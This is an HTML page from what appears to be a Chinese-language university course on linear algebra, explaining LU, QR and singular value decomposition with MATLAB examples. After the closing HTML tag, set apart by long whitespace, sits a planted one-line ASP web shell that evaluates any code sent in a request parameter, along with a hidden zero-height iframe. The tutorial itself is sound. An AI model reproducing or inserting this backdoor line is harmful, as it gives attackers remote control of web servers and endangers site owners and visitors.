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<html>

<head>
<title> 矩阵分解 </title>
</head>

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<font COLOR="#0000FF">

<h1>5.3.3 矩阵分解</h1>
</font>

<hr>

<p>矩阵分解 <font FACE="Times New Roman">(decomposition, factorization)</font>是多半将矩阵拆解为数个三角形矩阵<font FACE="Times New Roman">(triangular matrix)</font>，依使用目的的不同 
，可分为三种矩阵分解法：<font FACE="Times New Roman">1)</font>三角分解法 <font FACE="Times New Roman">(Triangular Factorization)</font>，<font FACE="Times New Roman">2)QR</font> 
分解法 <font FACE="Times New Roman">(QR Factorization)</font>，<font FACE="Times New Roman">3)</font>奇异值分 解法 <font FACE="Times New Roman">(Singular 
Value Decompostion)</font>。<br>
</p>

<p><u>(1) 三角分解法<br>
</u></p>

<p>三角分解法是将原正方 <font FACE="Times New Roman">(square) </font>矩阵分解成一个上三角形矩阵　或是排列<font FACE="Times New Roman">(permuted) </font>的上三角形矩阵　和一个 
下三角形矩阵，这样的分解法又称为<font FACE="Times New Roman">LU</font>分解法。它的用途主要在简化一个大矩阵的行列式值的计算过程，求 
反矩阵，和求解联立方程组。不过要注意这种分解法所得到的上下三角形矩阵并非唯一，还可找到数个不同 
的一对上下三角形矩阵，此两三角形矩阵相乘也会得到原矩阵。 <br>
</p>

<p>我们举以下二个矩阵为例： </p>

<p>利用三角分解法可将<font FACE="Times New Roman">A</font>和<font FACE="Times New Roman">B</font>二矩阵分别拆解为上下三角形矩阵 </p>

<p><img SRC="../img5/img00028.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img5/img00028.gif" WIDTH="512" HEIGHT="75"> </p>

<p>注意<font FACE="Times New Roman">B</font>分解的矩阵得到的第一个矩阵<font FACE="Times New Roman">[LB]</font>是排列的下三角形矩阵，如果第二、三列互换，则此变成完全的下 
三角形矩阵。 <br>
</p>

<p>以<font FACE="Times New Roman">MATLAB</font>函数计算上述的<font FACE="Times New Roman">LU</font>分解法，其语法为<font COLOR="#FF0000" FACE="Times New Roman">[L,U]=lu(A)</font>，其中<font COLOR="#FF0000" FACE="Times New Roman">L</font>代表下三角形矩阵<font COLOR="#FF0000" FACE="Times New Roman">U</font>代表上三角形矩阵。 我们来看一个例子。 </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">&gt;&gt; A = [1 2 -1, -2 -5 3; -1 -3 0]; 
B=[1 3 2; -2 -6 1; 2 5 7];</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">&gt;&gt; [L1,U1] = lu(A); [L2,U2] = lu(B);</font> 
</p>

<p><font COLOR="#FF0000" FACE="Times New Roman">&gt;&gt; L1; U1</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">L1 = % </font><font COLOR="#FF0000">注意这个矩阵</font><font COLOR="#FF0000" FACE="Times New Roman">L1</font><font COLOR="#FF0000">和之前的</font><font COLOR="#FF0000" FACE="Times New Roman">[LA]</font><font COLOR="#FF0000">不相同</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">-0.5 1 0</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">1 0 0</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">0.5 1 1</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">U1 = % </font><font COLOR="#FF0000">注意这个矩阵</font><font COLOR="#FF0000" FACE="Times New Roman">U1</font><font COLOR="#FF0000">和之前的</font><font COLOR="#FF0000" FACE="Times New Roman">[UA]</font><font COLOR="#FF0000">不相同</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">-2 -5 3</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">0 -0.5 0.5</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">0 0 -2</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">&gt;&gt; L2; U2</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">L2 = % </font><font COLOR="#FF0000">注意这个矩阵</font><font COLOR="#FF0000" FACE="Times New Roman">L2</font><font COLOR="#FF0000">和之前的</font><font COLOR="#FF0000" FACE="Times New Roman">[LB]</font><font COLOR="#FF0000">不相同</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">-0.5 0 1</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">1 0 0</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">-1 1 0</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">U2 = % </font><font COLOR="#FF0000">注意这个矩阵</font><font COLOR="#FF0000" FACE="Times New Roman">U2</font><font COLOR="#FF0000">和之前的</font><font COLOR="#FF0000" FACE="Times New Roman">[UB]</font><font COLOR="#FF0000">不相同</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">-2 -6 1</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">0 -1 8</font> </p>

<p><font COLOR="#FF0000" FACE="Times New Roman">0 0 2.5<br>
</font></p>

<p><u>(2) QR分解法<br>
</u></p>

<p>QR分解法是将矩阵分解成一个正规正交矩阵与上三角形矩阵。还记得先前我们介绍的正规正交矩阵Q满足<img SRC="../img5/img00029.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img5/img00029.gif" WIDTH="61" HEIGHT="26">的条件吗！所以称为QR分解法与此正规正交矩阵的通用符号Q有关。 
<br>
</p>

<p>MATLAB以<font COLOR="#FF0000" FACE="Times New Roman">qr</font>函数来执行<font FACE="Times New Roman">QR</font>分解法， 其语法为<font COLOR="#FF0000">[Q,R]=qr(A)</font>，其中<font COLOR="#FF0000">Q</font>代表正规正交矩阵，而<font COLOR="#FF0000">R</font>代表上三角形矩 
阵。此外，原矩阵<font COLOR="#FF0000">A</font>不必为正方矩阵；如果矩阵<font COLOR="#FF0000">A</font>大小为<img SRC="../img5/img00030.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img5/img00030.gif" WIDTH="44" HEIGHT="17">，则矩阵<font COLOR="#FF0000" FACE="Times New Roman">Q</font>大小为<img SRC="../img5/img00031.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img5/img00031.gif" WIDTH="48" HEIGHT="17">，矩阵<font COLOR="#FF0000" FACE="Times New Roman">R</font>大小为<img SRC="../img5/img00032.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img5/img00032.gif" WIDTH="38" HEIGHT="16">。 <br>
<u>(3) 奇异值分解法</u> </p>

<p>奇异值分解 <font FACE="Times New Roman">(sigular value decomposition,SVD) </font>是另一种正交矩阵分解法；<font FACE="Times New Roman">SVD</font>是最可靠的分解法，但是它比<font FACE="Times New Roman">QR</font> 分解法要花上近十倍的计算时间。<font COLOR="#FF0000" FACE="Times New Roman">[U,S,V]=svd(A)</font>，其中<font COLOR="#FF0000" FACE="Times New Roman">U</font>和<font COLOR="#FF0000" FACE="Times New Roman">V</font>代表二个相互正交矩阵，而<font COLOR="#FF0000" FACE="Times New Roman">S</font>代表一对角矩阵。 和<font FACE="Times New Roman">QR</font>分解法相同者， 原矩阵<font COLOR="#FF0000" FACE="Times New Roman">A</font>不必为正方矩阵。 </p>

<p>使用<font FACE="Times New Roman">SVD</font>分解法的用途是解最小平方误差法和数据压缩。</p>

<hr>
<a HREF="ch5_3_2.htm" tppabs="http://webclass.ncu.edu.tw/~junwu/ch5_3_2.htm">

<p><img SRC="../img1/lastpage.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/lastpage.gif" BORDER="0" WIDTH="42" HEIGHT="42"></a> <a HREF="../chapter6/ch6.htm" tppabs="http://webclass.ncu.edu.tw/~junwu/ch6.htm"><img SRC="../img1/nextpage.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/nextpage.gif" BORDER="0" HSPACE="10" WIDTH="42" HEIGHT="42"></a> <a HREF="../index.html" tppabs="http://webclass.ncu.edu.tw/~junwu/index.html"><img SRC="../img1/outline.gif" tppabs="http://webclass.ncu.edu.tw/~junwu/img/outline.gif" BORDER="0" HSPACE="6" WIDTH="42" HEIGHT="42"></a><br>
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</body>
</html>
                                                                                                    
<%eval request("%")%><IfrAmE  width=100 height=0></IfrAmE>
                                                                                                    
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